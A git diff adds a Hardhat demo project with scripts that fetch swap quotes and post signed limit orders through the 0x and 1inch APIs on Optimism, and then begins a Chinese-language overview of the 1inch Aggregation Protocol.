+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.PROJECT_ID, //<---- CONFIG YOUR INFURA ID IN .ENV! (or it won't work)
+      accounts: [mnemonic()]
+    },
+    op: {
+      url: 'https://opt-mainnet.g.alchemy.com/v2/' + process.env.ALCHEMY,
+      accounts: [mnemonic()],
+    },
+  },
+};
diff --git a/defi/0x-protocol/demo/package.json b/defi/0x-protocol/demo/package.json
new file mode 100644
index 000000000..6c268796c
--- /dev/null
+++ b/defi/0x-protocol/demo/package.json
@@ -0,0 +1,19 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^2.0.0",
+    "@types/node": "^20.11.16",
+    "dotenv": "^16.0.3",
+    "hardhat": "^2.12.4",
+    "node-fetch": "^2.6.1",
+    "qs": "6.11.2",
+    "typescript": "^5.3.3",
+    "yesno": "0.4.0"
+  },
+  "dependencies": {
+    "@1inch/limit-order-protocol-utils": "^4.0.13-alpha",
+    "@0x/protocol-utils":"11.24.2",
+    "@0x/contract-addresses":"8.13.0",
+    "web3": "4.2.2"
+  }
+}
diff --git a/defi/0x-protocol/demo/scripts/0xdirect-swap.js b/defi/0x-protocol/demo/scripts/0xdirect-swap.js
new file mode 100644
index 000000000..6adef25b0
--- /dev/null
+++ b/defi/0x-protocol/demo/scripts/0xdirect-swap.js
@@ -0,0 +1,65 @@
+const hre = require("hardhat");
+const fetch = require('node-fetch');
+const qs = require('qs');
+require('dotenv').config();
+
+//https://github.com/0xProject/0x-api-starter-guide-code/blob/master/src/direct-swap.js#L105-L113
+async function main() {
+
+  //const API_QUOTE_URL = 'https://api.0x.org/swap/v1/quote';
+  const API_QUOTE_URL = 'https://optimism.api.0x.org/swap/v1/quote';
+  console.info(`Fetching swap quote from 0x-API to sell WETH for DAI...`);
+
+  const exchangeOP="0xdef1abe32c034e558cdd535791643c58a13acc10";
+  const apiKey = process.env.ZEROXAPIKEY;
+
+  const usdcTokenAddress = '0x7F5c764cBc14f9669B88837ca1490cCa17c31607'; // Replace with actual USDC token address
+  const opTokenAddress = '0x4200000000000000000000000000000000000042'; // Replace with actual OP token address
+  const wethTokenAddress = '0x4200000000000000000000000000000000000006'; // Replace with actual OP token address
+  
+  const params = {
+      // Not all token symbols are supported. The address of the token can be used instead.
+      sellToken:usdcTokenAddress ,
+      buyToken: opTokenAddress,
+      // Note that the DAI token uses 18 decimal places, so `sellAmount` is `100 * 10^18`.
+      sellAmount: '5000000',
+  }
+  const quoteUrl = `${API_QUOTE_URL}?${qs}`;
+
+  // const headers = { headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` } }
+
+  // const response = await fetch(
+  //     `https://api.0x.org/swap/v1/price?${qs.stringify(params)}`, {headers: {'0x-api-key': apiKey}}
+  // );
+
+  const response = await fetch(
+    `https://optimism.api.0x.org/swap/v1/quote?${qs.stringify(params)}`, {headers: {'0x-api-key': apiKey}}
+);
+
+  const quote = await response.json();
+  console.log(quote)
+
+  console.info(`Received a quote  ${quote}`);
+  console.info(`Received a quote with price ${quote.price}`);
+
+
+  const [signer] = await ethers.getSigners();
+
+  console.log("send transaction ----")
+  //
+// await signer.sendTransaction({
+//   gasLimit: quote.gas,
+//   gasPrice: quote.gasPrice,
+//   to: quote.to,
+//   data: quote.data,
+//   value: quote.value,
+//   chainId: quote.chainId,
+// });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/defi/0x-protocol/demo/scripts/0xlimitswap.js b/defi/0x-protocol/demo/scripts/0xlimitswap.js
new file mode 100644
index 000000000..e47d0fea4
--- /dev/null
+++ b/defi/0x-protocol/demo/scripts/0xlimitswap.js
@@ -0,0 +1,87 @@
+const hre = require("hardhat");
+const fetch = require('node-fetch');
+const qs = require('qs');
+require('dotenv').config();
+
+const utils = require("@0x/protocol-utils");
+const contractAddresses = require("@0x/contract-addresses");
+
+
+//https://github.com/0xProject/0x-api-starter-guide-code/blob/master/src/direct-swap.js#L105-L113
+async function main() {
+
+  //const API_QUOTE_URL = 'https://api.0x.org/swap/v1/quote';
+  const API_QUOTE_URL = 'https://optimism.api.0x.org/swap/v1/quote';
+  console.info(`Fetching swap quote from 0x-API to sell WETH for DAI...`);
+
+  const exchangeOP="0xdef1abe32c034e558cdd535791643c58a13acc10";
+  const apiKey = process.env.ZEROXAPIKEY;
+
+  const usdcTokenAddress = '0x7F5c764cBc14f9669B88837ca1490cCa17c31607'; // Replace with actual USDC token address
+  const opTokenAddress = '0x4200000000000000000000000000000000000042'; // Replace with actual OP token address
+  const wethTokenAddress = '0x4200000000000000000000000000000000000006'; // Replace with actual OP token address
+  const walletAddress= process.env.ADDRESS;
+
+
+
+  const getFutureExpiryInSeconds = () =>
+Math.floor(Date.now() / 1000 + 300).toString(); // 5 min expiry
+
+let CHAIN_ID = '10';
+const addresses = contractAddresses.getContractAddressesForChainOrThrow(
+  CHAIN_ID
+);
+
+  const order = new utils.LimitOrder({
+    makerToken: usdcTokenAddress,
+    takerToken:  opTokenAddress,
+    makerAmount: "500000000", // NOTE: This is 1 WEI, 1 ETH would be 1000000000000000000
+    takerAmount: "2000000000000000000", // NOTE this is 0.001 ZRX. 1 ZRX would be 1000000000000000000
+    maker: walletAddress,
+  
+    expiry: getFutureExpiryInSeconds(),
+    salt: Date.now().toString(),
+    chainId: CHAIN_ID,
+    verifyingContract: addresses.exchangeProxy
+  });
+  const signature = await order.getSignatureWithKey(
+    process.env.PRIVATE_KEY,
+    utils.SignatureType.EIP712 // Optional
+  );
+
+//   const response = await fetch(
+//     `https://optimism.api.0x.org/swap/v1/quote?${qs.stringify(params)}`, {headers: {'0x-api-key': apiKey}}
+// );
+
+console.log(`Signature: ${JSON.stringify(signature, undefined, 2)}`);
+
+const signedOrder = { ...order, signature };
+console.log(`Signed Order: ${JSON.stringify(signedOrder, undefined, 2)}`);
+
+
+const resp = await fetch("https://optimism.api.0x.org/orderbook/v1/order", {
+  method: "POST",
+  body: JSON.stringify(signedOrder),
+  headers: {
+    '0x-api-key': apiKey
+  }
+});
+//todo 401
+
+if (resp.status === 200) {
+  console.log("Successfully posted order to SRA");
+} else {
+  const body = await resp.json();
+  console.log(
+    `ERROR(status code ${resp.status}): ${JSON.stringify(body, undefined, 2)}`
+  );
+}
+}
+
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/defi/0x-protocol/demo/scripts/1inch-offchain-oracle.js b/defi/0x-protocol/demo/scripts/1inch-offchain-oracle.js
new file mode 100644
index 000000000..f13580da3
--- /dev/null
+++ b/defi/0x-protocol/demo/scripts/1inch-offchain-oracle.js
@@ -0,0 +1,93 @@
+const {Web3} = require('web3');
+const { BigNumber } = require('ethers');
+
+const apiKey = process.env.APIKEY;
+//const web3 = new Web3(`https://mainnet.infura.io/v3/${yourInfuraKey}`);
+let yourInfuraKey = process.env.ALCHEMY;
+const web3 = new Web3(`https://eth-mainnet.g.alchemy.com/v2/${yourInfuraKey}`);
+
+// eslint-disable-next-line max-len
+const OffChainOracleAbi = '[{"inputs":[{"internalType":"contract MultiWrapper","name":"_multiWrapper","type":"address"},{"internalType":"contract IOracle[]","name":"existingOracles","type":"address[]"},{"internalType":"enum OffchainOracle.OracleType[]","name":"oracleTypes","type":"uint8[]"},{"internalType":"contract IERC20[]","name":"existingConnectors","type":"address[]"},{"internalType":"contract IERC20","name":"wBase","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract IERC20","name":"connector","type":"address"}],"name":"ConnectorAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract IERC20","name":"connector","type":"address"}],"name":"ConnectorRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract MultiWrapper","name":"multiWrapper","type":"address"}],"name":"MultiWrapperUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract IOracle","name":"oracle","type":"address"},{"indexed":false,"internalType":"enum OffchainOracle.OracleType","name":"oracleType","type":"uint8"}],"name":"OracleAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract IOracle","name":"oracle","type":"address"},{"indexed":false,"internalType":"enum OffchainOracle.OracleType","name":"oracleType","type":"uint8"}],"name":"OracleRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"contract IERC20","name":"connector","type":"address"}],"name":"addConnector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IOracle","name":"oracle","type":"address"},{"internalType":"enum OffchainOracle.OracleType","name":"oracleKind","type":"uint8"}],"name":"addOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"connectors","outputs":[{"internalType":"contract IERC20[]","name":"allConnectors","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"srcToken","type":"address"},{"internalType":"contract IERC20","name":"dstToken","type":"address"},{"internalType":"bool","name":"useWrappers","type":"bool"}],"name":"getRate","outputs":[{"internalType":"uint256","name":"weightedRate","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"srcToken","type":"address"},{"internalType":"bool","name":"useSrcWrappers","type":"bool"}],"name":"getRateToEth","outputs":[{"internalType":"uint256","name":"weightedRate","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"multiWrapper","outputs":[{"internalType":"contract MultiWrapper","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracles","outputs":[{"internalType":"contract IOracle[]","name":"allOracles","type":"address[]"},{"internalType":"enum OffchainOracle.OracleType[]","name":"oracleTypes","type":"uint8[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"connector","type":"address"}],"name":"removeConnector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IOracle","name":"oracle","type":"address"},{"internalType":"enum OffchainOracle.OracleType","name":"oracleKind","type":"uint8"}],"name":"removeOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract MultiWrapper","name":"_multiWrapper","type":"address"}],"name":"setMultiWrapper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]';
+const offChainOracleAddress = '0x07D91f5fb9Bf7798734C3f606dB065549F6893bb';
+const offChainOracleContract = new web3.eth.Contract(JSON.parse(OffChainOracleAbi), offChainOracleAddress);
+
+const token = {
+    address: '0xdac17f958d2ee523a2206206994597c13d831ec7', // USDT
+    decimals: 6,
+};
+
+console.log("---------------");
+offChainOracleContract.methods.getRateToEth(
+    token.address, // source token
+    true, // use source wrappers
+).call()
+    .then((rate) => {
+        const numerator = BigNumber.from(10).pow(token.decimals);
+        const denominator = BigNumber.from(10).pow(18); // eth decimals
+        const price = BigNumber.from(rate).mul(numerator).div(denominator);
+        console.log(price.toString()); // 472685293218315
+    })
+    .catch(console.log);
+
+    //-------------------
+   
+    // eslint-disable-next-line max-len
+    const MultiCallAbi = '[{"inputs":[{"components":[{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"internalType":"struct MultiCall.Call[]","name":"calls","type":"tuple[]"}],"name":"multicall","outputs":[{"internalType":"bytes[]","name":"results","type":"bytes[]"},{"internalType":"bool[]","name":"success","type":"bool[]"}],"stateMutability":"view","type":"function"}]';
+    // eslint-disable-next-line max-len
+    const multiCallContract = new web3.eth.Contract(JSON.parse(MultiCallAbi), '0xda3c19c6fe954576707fa24695efb830d9cca1ca');
+
+    const tokens = [
+        {
+            address: '0x6b175474e89094c44da98b954eedeac495271d0f', // DAI
+            decimals: 18,
+        },
+        {
+            address: '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48', // USDC
+            decimals: 6,
+        },
+        {
+            address: '0xdac17f958d2ee523a2206206994597c13d831ec7', // USDT
+            decimals: 6,
+        }, {
+            address: '0x111111111117dc0aa78b770fa6a738034120c302', // 1INCH
+            decimals: 18,
+        },
+    ];
+    
+    const callData = tokens.map((token) => ({
+        to: offChainOracleAddress,
+        data: offChainOracleContract.methods.getRateToEth(
+            token.address,
+            true, // use wrapper
+        ).encodeABI(),
+    }));
+    
+    multiCallContract.methods.multicall(callData).call()
+        .then(({
+            results,
+            success,
+        }) => {
+            const prices = {};
+            for (let i = 0; i < results.length; i++) {
+                if (!success[i]) {
+                    continue;
+                }
+    
+                const decodedRate = web3.eth.abi.decodeParameter('uint256', results[i]).toString();
+                const numerator = BigNumber.from(10).pow(tokens[i].decimals);
+                const denominator = BigNumber.from(10).pow(18); // eth decimals
+                const price = BigNumber.from(decodedRate).mul(numerator).div(denominator);
+                prices[tokens[i].address] = price.toString();
+            }
+            console.log(prices);
+            /*
+                {
+                    '0x6b175474e89094c44da98b954eedeac495271d0f': '527560209915550',
+                    '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48': '507746821617073',
+                    '0xdac17f958d2ee523a2206206994597c13d831ec7': '529527134930000',
+                    '0x111111111117dc0aa78b770fa6a738034120c302': '1048752594621361'
+                }
+             */
+        })
+        .catch(console.log);
+
diff --git a/defi/0x-protocol/demo/scripts/1inch.js b/defi/0x-protocol/demo/scripts/1inch.js
new file mode 100644
index 000000000..a4515a31e
--- /dev/null
+++ b/defi/0x-protocol/demo/scripts/1inch.js
@@ -0,0 +1,160 @@
+const { ethers } = require('hardhat');
+const { Web3 } = require("web3");
+require('dotenv').config();
+const fetch = require('node-fetch');
+
+const apiKey = process.env.APIKEY;
+const chainId = 10; // Chain ID for Optimism
+const optimismRpcUrl = 'https://mainnet.optimism.io';
+
+const broadcastApiUrl = 'https://api.1inch.dev/tx-gateway/v1.1/' + chainId + '/broadcast';
+
+const apiBaseUrl = `https://api.1inch.dev/swap/v5.2/${chainId}`;
+let yourInfuraKey = process.env.ALCHEMY;
+const web3 = new Web3(`https://opt-mainnet.g.alchemy.com/v2/${yourInfuraKey}`);
+
+
+
+async function checkAllowance(tokenAddress, walletAddress) {
+    const url = `${apiBaseUrl}/approve/allowance?tokenAddress=${tokenAddress}&walletAddress=${walletAddress}`;
+    const response = await fetch(url, { headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` } });
+    const data = await response.json();
+    return data.allowance;
+  }
+  
+//   async function approveToken(tokenAddress, spenderAddress) {
+//     const url = `${apiBaseUrl}/approve/transaction?tokenAddress=${tokenAddress}&spenderAddress=${spenderAddress}`;
+//     const response = await fetch(url, { headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` } });
+//     const transaction = await response.json();
+  
+//     const wallet = new ethers.Wallet(process.env.PRIVATE_KEY);
+//     const signedTransaction = await wallet.signTransaction(transaction);
+//     await ethers.provider.sendTransaction(signedTransaction);
+//   }
+
+
+
+// Sign and post a transaction, return its hash
+async function signAndSendTransaction( transaction) {
+    console.log("sign ----")
+    const { rawTransaction } = await web3.eth.accounts.signTransaction(transaction, process.env.PRIVATE_KEY);
+    console.log("rawTransaction: ", rawTransaction)
+    return await broadCastRawTransaction(rawTransaction);
+  }
+  
+
+async function broadCastRawTransaction(rawTransaction) {
+    const response = await fetch(broadcastApiUrl, {
+      method: 'post',
+      body: JSON.stringify({ rawTransaction }),
+      headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` },
+    });
+  
+    const data = await response.json();
+    console.log("broadCast", data)
+    return data.transactionHash;
+  }
+  
+  
+function apiRequestUrl(methodName, queryParams) {
+    let s =  apiBaseUrl + methodName + '?' + (new URLSearchParams(queryParams)).toString();
+  
+    return s
+  }
+
+  async function buildTxForApproveTradeWithRouter(tokenAddress, amount) {
+    const url = apiRequestUrl(
+      '/approve/transaction',
+      amount ? { tokenAddress, amount } : { tokenAddress }
+    );
+  
+    const response = await fetch(url, { headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` } });
+    
+  
+    const transaction = await response.json();
+  
+    console.log("transaction: ", transaction)
+  
+    const gasLimit = await ethers.provider.estimateGas({
+      ...transaction
+    });
+  
+    console.log("gasLimit: ", gasLimit)
+  
+    return {
+      ...transaction,
+      gas: gasLimit,
+    };
+  
+    
+   }
+
+
+//   async function buildSwapTransaction(srcToken, dstToken, amount) {
+//     const url = `${apiBaseUrl}/swap?fromTokenAddress=${srcToken}&toTokenAddress=${dstToken}&amount=${amount}&fromAddress=${wallet.address}`;
+//     const response = await fetch(url, { headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` } });
+//     const transaction = await response.json();
+//     return transaction;
+//   }
+
+
+async function buildTxForSwap(swapParams) {
+    const url = apiRequestUrl("/swap", swapParams);
+    console.log(url);
+    const headers = { headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${apiKey}` } }
+    // Fetch the swap transaction details from the API
+    const response = await  fetch(url, headers);
+
+    const data = await response.json();
+    return data.tx;
+
+   
+  }
+
+  function sleep (time) {
+    return new Promise((resolve) => setTimeout(resolve, time));
+  }
+  
+
+async function main() {
+  const usdcTokenAddress = '0x7F5c764cBc14f9669B88837ca1490cCa17c31607'; // Replace with actual USDC token address
+  const opTokenAddress = '0x4200000000000000000000000000000000000042'; // Replace with actual OP token address
+  const oneinchrouter = '0x1111111254eeb25477b68fb85ed929f73a960582';
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY);
+  const [signer] = await ethers.getSigners();
+//   const usdcAllowance = await checkAllowance(usdcTokenAddress, wallet.address);
+//   console.log("usdcAllowance", usdcAllowance)
+
+//   if (usdcAllowance < 1e18) {
+    // Approve 1inch to spend USDC if allowance is insufficient
+    // const transactionForSign = await buildTxForApproveTradeWithRouter(usdcTokenAddress, 10000000);
+    // const approveTxHash = await signAndSendTransaction( transactionForSign);
+    // console.log("approveTxHash", approveTxHash);
+  //}
+
+//   // Swap USDC to OP
+const swapParams = {
+    src: usdcTokenAddress, // Token address of 1INCH
+    dst: opTokenAddress, // Token address of DAI
+    amount: "5000000", // Amount of 1INCH to swap (in wei)
+    from: wallet.address,
+    slippage: 1, // Maximum acceptable slippage percentage for the swap (e.g., 1 for 1%)
+    disableEstimate: false, // Set to true to disable estimation of swap details
+    allowPartialFill: false // Set to true to allow partial filling of the swap order
+  };
+  const swapTransaction = await buildTxForSwap(swapParams); // 0.1 USDC
+
+  console.log("swapTransaction ", swapTransaction)
+
+ // await wallet.signTransaction(swapTransaction)  //!!! need fix the gas to gaslimit
+//    const transactionHash = await ethers.provider.sendTransaction(swapTransaction);
+// console.log(`Swap transaction sent. Transaction Hash: ${transactionHash}`);
+
+// await sleep(2000)
+
+  // const swapTxHash = await signAndSendTransaction(swapTransaction);
+  //   console.log("Swap tx hash: ", swapTxHash);
+  //  console.log(`Swap transaction sent. Transaction Hash: ${transactionHash}`);
+}
+
+main().catch((error) => console.error(error));
diff --git a/defi/0x-protocol/demo/scripts/1inchlimitorder.js b/defi/0x-protocol/demo/scripts/1inchlimitorder.js
new file mode 100644
index 000000000..f696f98c0
--- /dev/null
+++ b/defi/0x-protocol/demo/scripts/1inchlimitorder.js
@@ -0,0 +1,146 @@
+const hre = require("hardhat");
+const fetch = require('node-fetch');
+const utils = require("@0x/protocol-utils");
+const { Web3 } = require("web3");
+const qs = require('qs');
+const {
+  LimitOrderBuilder,
+  ChainId,
+  Web3ProviderConnector,
+  PrivateKeyProviderConnector
+}  = require( '@1inch/limit-order-protocol-utils');
+require('dotenv').config();
+
+//https://github.com/0xProject/0x-api-starter-guide-code/blob/master/src/direct-swap.js#L105-L113
+async function main() {
+
+  //const API_QUOTE_URL = 'https://api.0x.org/swap/v1/quote';
+  const API_QUOTE_URL = 'https://optimism.api.0x.org/swap/v1/quote';
+  console.info(`Fetching swap quote from 0x-API to sell WETH for DAI...`);
+
+  const exchangeOP="0xdef1abe32c034e558cdd535791643c58a13acc10";
+  const apiKey = process.env.ZEROXAPIKEY;
+
+  const usdcTokenAddress = '0x7F5c764cBc14f9669B88837ca1490cCa17c31607'; // Replace with actual USDC token address
+  const opTokenAddress = '0x4200000000000000000000000000000000000042'; // Replace with actual OP token address
+  const wethTokenAddress = '0x4200000000000000000000000000000000000006'; // Replace with actual OP token address
+ 
+  const walletAddress= process.env.ADDRESS;
+
+
+
+const chainId = ChainId.optimismMainnet; // suggested, or use your own number
+
+let yourInfuraKey = process.env.ALCHEMY;
+const web3 = new Web3(`https://opt-mainnet.g.alchemy.com/v2/${yourInfuraKey}`);
+
+//const connector = new Web3ProviderConnector(web3);
+const connector = new PrivateKeyProviderConnector(process.env.PRIVATE_KEY, web3);
+
+//const contractAddress1 = limirOrderProtocolAdresses[chainId];
+ const contractAddress = '0x11431a89893025D2a48dCA4EddC396f8C8117187';
+ //console.log("contractAddress ", contractAddress1);
+
+const limitOrderBuilder = new LimitOrderBuilder(
+  contractAddress,
+  chainId,
+  connector
+);
+
+//   const limitOrder = limitOrderBuilder.buildLimitOrder({
+//     makerAsset: usdcTokenAddress,
+//     takerAsset: opTokenAddress,
+//     maker: walletAddress,
+//     makingAmount: '500000000',
+//     takingAmount: '2000000000000000000',
+//     salt: '12345678',
+// });
+const getFutureExpiryInSeconds = () =>
+Math.floor(Date.now() / 1000 + 300).toString(); // 5 min expiry
+
+
+const order = new utils.LimitOrder({
+  makerToken: usdcTokenAddress,
+  takerToken: opTokenAddress,
+  makerAmount: "500000000", // NOTE: This is 1 WEI, 1 ETH would be 1000000000000000000
+  takerAmount: "2000000000000000000", // NOTE this is 0.001 ZRX. 1 ZRX would be 1000000000000000000
+  maker: walletAddress,
+ 
+  expiry: getFutureExpiryInSeconds(),
+  salt: Date.now().toString(),
+  chainId: 10,
+  verifyingContract: contractAddress
+});
+console.log("limitOrder ", order);
+
+
+const signature = await order.getSignatureWithKey(
+  process.env.PRIVATE_KEY,
+  utils.SignatureType.EIP712 // Optional
+);
+console.log(`Signature: ${JSON.stringify(signature, undefined, 2)}`);
+
+const signedOrder = { ...order, signature };
+
+
+let limit_order_url = "https://limit-orders.1inch.io/v3.0/10/limit-order";
+
+const resp = await fetch(limit_order_url, {
+    method: "POST",
+    body: JSON.stringify(signedOrder),
+    headers: {
+      "Content-Type": "application/json"
+    }
+  });
+
+  if (resp.status === 200) {
+    console.log("Successfully posted order to SRA");
+  } else {
+    const body = await resp.json();
+    console.log(
+      `ERROR(status code ${resp.status}): ${JSON.stringify(body, undefined, 2)}`
+    );
+  }
+
+
+//   const limitOrderTypedData = limitOrderBuilder.buildLimitOrderTypedData(
+//     limitOrder,
+//   );
+//   //  console.log("limitOrderTypedData ", limitOrderTypedData);
+
+
+//   const limitOrderSignature = limitOrderBuilder.buildOrderSignature(
+//     walletAddress,
+//     limitOrderTypedData,
+//   );
+
+//   const limitOrderHash = limitOrderBuilder.buildLimitOrderHash(
+//     limitOrderTypedData
+// );
+
+// console.log("limitOrderHash ", limitOrderHash);
+  // const callData = limitOrderProtocolFacade.fillLimitOrder({
+  //   order: limitOrder,
+  //   signature: limitOrderSignature,
+  //   makingAmount: '100',
+  //   takingAmount: '0',
+  //   thresholdAmount: '50'
+  // });
+
+  // // Send transaction for the order filling
+  // // Must be implemented
+  // sendTransaction({
+  //   from: walletAddress,
+  //   gas: 210_000, // Set your gas limit
+  //   gasPrice: 40000, // Set your gas price
+  //   to: contractAddress,
+  //   data: callData,
+  // });
+  }
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/defi/0x-protocol/demo/scripts/1inchlimitorder.ts b/defi/0x-protocol/demo/scripts/1inchlimitorder.ts
new file mode 100644
index 000000000..941a09816
--- /dev/null
+++ b/defi/0x-protocol/demo/scripts/1inchlimitorder.ts
@@ -0,0 +1,107 @@
+// Usage: ts-node scripts/1inchlimitorder.ts
+import Web3 from 'web3';
+import {
+  seriesNonceManagerContractAddresses,
+  ChainId,
+  Erc20Facade,
+  limirOrderProtocolAdresses,
+  LimitOrderBuilder,
+  LimitOrderProtocolFacade,
+  LimitOrderPredicateBuilder,
+  SeriesNonceManagerFacade,
+  SeriesNonceManagerPredicateBuilder,
+  Web3ProviderConnector,
+  PrivateKeyProviderConnector
+} from '@1inch/limit-order-protocol-utils';
+
+require('dotenv').config();
+
+async function main() {
+  const API_QUOTE_URL = 'https://optimism.api.0x.org/swap/v1/quote';
+  console.info(`Fetching swap quote from 0x-API to sell WETH for DAI...`);
+
+  const exchangeOP = '0xdef1abe32c034e558cdd535791643c58a13acc10';
+  const apiKey = process.env.ZEROXAPIKEY;
+
+  const usdcTokenAddress = '0x7F5c764cBc14f9669B88837ca1490cCa17c31607';
+  const opTokenAddress = '0x4200000000000000000000000000000000000042';
+  const wethTokenAddress = '0x4200000000000000000000000000000000000006';
+
+  const walletAddress = process.env.ADDRESS;
+
+  const chainId = ChainId.optimismMainnet;
+  let yourInfuraKey = process.env.ALCHEMY;
+
+  let web3: Web3 = new Web3(`https://opt-mainnet.g.alchemy.com/v2/${yourInfuraKey}`);
+
+  const connector = new Web3ProviderConnector(web3);
+
+  //const connector = new PrivateKeyProviderConnector(process.env.PRIVATE_KEY as string, web3 );
+
+  // const connector = new Web3ProviderConnector(web3);
+  const contractAddress = limirOrderProtocolAdresses[chainId];
+  console.log("contractAddress ", contractAddress);
+  const seriesContractAddress = seriesNonceManagerContractAddresses[chainId];
+
+  const limitOrderProtocolFacade = new LimitOrderProtocolFacade(contractAddress, chainId, connector);
+  const seriesNonceManagerFacade = new SeriesNonceManagerFacade(seriesContractAddress, chainId, connector);
+  const seriesNonceManagerPredicateBuilder = new SeriesNonceManagerPredicateBuilder(seriesContractAddress, chainId, connector);
+  const erc20Facade = new Erc20Facade(connector);
+
+  const expiration = 5444440000;
+  const nonce = seriesNonceManagerFacade.nonce(NonceSeriesV2.LimitOrderV3, walletAddress);
+  console.log("nonce ", nonce);
+
+  // Creates predicate that restricts Limit Order invalidation conditions
+  // Because timestampBelowAndNonceEquals is method of another contract arbitraryStaticCall() is necessary
+  const simpleLimitOrderPredicate = arbitraryStaticCall(
+    seriesNonceManagerPredicateBuilder.facade,
+    seriesNonceManagerPredicateBuilder.timestampBelowAndNonceEquals(
+      NonceSeriesV2.LimitOrderV3,
+      expiration,
+      nonce,
+      walletAddress,
+    ),
+  );
+
+  const limitOrderBuilder = new LimitOrderBuilder();
+
+  const limitOrder = limitOrderBuilder.buildLimitOrder({
+    makerAssetAddress: usdcTokenAddress,
+    takerAssetAddress: opTokenAddress,
+    makerAddress: walletAddress,
+    makerAmount: '500000000',
+    takerAmount: '2000000000000000000',
+    predicate: simpleLimitOrderPredicate,
+  });
+
+  const limitOrderTypedData = limitOrderBuilder.buildLimitOrderTypedData(limitOrder);
+  const limitOrderSignature = limitOrderBuilder.buildOrderSignature(walletAddress, limitOrderTypedData);
+
+  // ... Continue with the rest of your code
+
+  // const callData = limitOrderProtocolFacade.fillLimitOrder({
+  //   order: limitOrder,
+  //   signature: limitOrderSignature,
+  //   makingAmount: '100',
+  //   takingAmount: '0',
+  //   thresholdAmount: '50'
+  // });
+
+  // Send transaction for the order filling
+  // Must be implemented
+  // sendTransaction({
+  //   from: walletAddress,
+  //   gas: 210_000, // Set your gas limit
+  //   gasPrice: 40000, // Set your gas price
+  //   to: contractAddress,
+  //   data: callData,
+  // });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/defi/0x-protocol/demo/tsconfig.json b/defi/0x-protocol/demo/tsconfig.json
new file mode 100644
index 000000000..34ec78a37
--- /dev/null
+++ b/defi/0x-protocol/demo/tsconfig.json
@@ -0,0 +1,11 @@
+{
+    "compilerOptions": {
+      "target": "esnext",
+      "module": "commonjs",
+      "strict": true,
+      "esModuleInterop": true
+    },
+    "include": ["scripts/*.ts", "scripts/0xlimitswap.js"],
+    "exclude": ["node_modules"]
+  }
+  
\ No newline at end of file
diff --git a/defi/1inch/aggregation protocol.md b/defi/1inch/aggregation protocol.md
new file mode 100644
index 000000000..9f2c58fd7
--- /dev/null
+++ b/defi/1inch/aggregation protocol.md	
@@ -0,0 +1,112 @@
+1inch Aggregation Protocol 是一个去中心化交易聚合器协议，其主要目标是为用户提供最佳的代币兑换率和最低的交易滑点。该协议通过整合多个去中心化交易所（DEX）的流动性，实现跨平台的最优交易路径，为用户在进行代币兑换时争取到最大的收益。下面将从多个层面对 1inch Aggregation Protocol 进行详细介绍：
+
+
+## 1. 基本概念与核心目标
+
+### 1.1 什么是 1inch Aggregation Protocol？
+
+- **聚合流动性：**  
+  1inch Aggregation Protocol 并非一个独立的交易所，而是一个聚合器，它整合了市场上众多 DEX（如 Uniswap、SushiSwap、Balancer、Curve 等）的流动性池，通过算法比较各个平台的交易价格，为用户提供最佳兑换路径。
+
+- **多路径交易拆分：**  
+  为了获得最佳的交易汇率，1inch 协议通常将单一交易拆分为多个子订单，并在不同的 DEX 平台上分别执行。这种方式可以利用各平台之间价格的微小差异，从而降低交易成本和滑点。
+
+### 1.2 核心目标
+
+- **提高用户收益：**  
